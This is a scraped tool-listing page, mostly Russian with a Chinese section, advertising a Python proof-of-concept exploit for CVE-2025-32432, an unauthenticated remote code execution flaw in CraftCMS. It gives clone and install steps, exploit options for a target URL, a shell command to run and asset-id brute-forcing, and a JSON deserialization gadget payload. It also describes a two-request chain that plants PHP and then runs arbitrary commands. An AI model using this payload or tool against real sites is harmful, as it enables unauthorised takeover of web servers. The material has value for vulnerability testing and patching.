CVE-2025-32432-PoC — Python-эксплойт для CVE-2025-32432, RCE без аутентификации в конечной точке asset-transform в CraftCMS. Включает цепочку из двух пакетов для выполнения произвольных команд оболочки через гаджеты десериализации. | Kitploit

# Клонируйте репозиторий
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt

# Установите зависимости
pip install -r requirements.txt

Параметр	Длинная форма	Описание	Обязательный
`-u`	`--url`	Базовый URL цели (без завершающего слеша)	✅
`-c`	`--cmd`	Команда оболочки для выполнения	✅
`-a`	`--asset`	Известный корректный `assetId`	❌
`-s`	`--scan-max`	Лимит перебора (по умолчанию: 300)	❌

{
  "assetId": 11,
  "handle": {
    "width": 1,
    "height": 1,
    "as hack": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "yii\\rbac\\PhpManager",
      "__construct()": [
        {
          "itemFile": "/tmp/sess_<SessionID>"
        }
      ]
    }
  }
}

檔案	用途
`craftcms_rce_php_check.py`	PHP 執行可行性檢查：單一請求，使用 `FnStream` 觸發 `phpinfo()`，以低影響方式驗證目標是否易受攻擊。此檔案名稱為說明用途而調整，原始概念與程式架構來自 Chirag Artani。
`craftcms_final_payload.py`	兩包鏈完整利用：先以 `FnStream` 植入 PHP，再透過 `PhpManager` 執行任意指令。

CVE-2025-32432-PoC

Популярное

2. Отказ от ответственности 🚨

3. Возможности (основной эксплойт)

4. Требования

5. Установка

6. Использование

6.1 Быстрая проверка выполнения PHP

6.2 Полный двухпакетный эксплойт

Параметры

7. Как работает уязвимость (кратко)

8. Протестированные версии

9. Ссылки и дополнительное чтение

10. Благодарности

11. Лицензия

中文說明

1. 專案內容

2. 免責聲明

3. 快速檢查

4. 完整利用

5. 致謝

6. 授權

`craftcms_rce_php_check.py`	Проверка безопасности — отправляет один запрос, используя гаджет `FnStream`, чтобы проверить выполнение произвольного PHP (выводит `phpinfo()`). Идеально для низкорискового подтверждения.
`craftcms_final_payload.py`	Полноценный эксплойт — цепочка из двух пакетов: сначала внедряет PHP через `FnStream`, затем использует гаджет `FieldLayoutBehavior → PhpManager` для выполнения любой команды оболочки.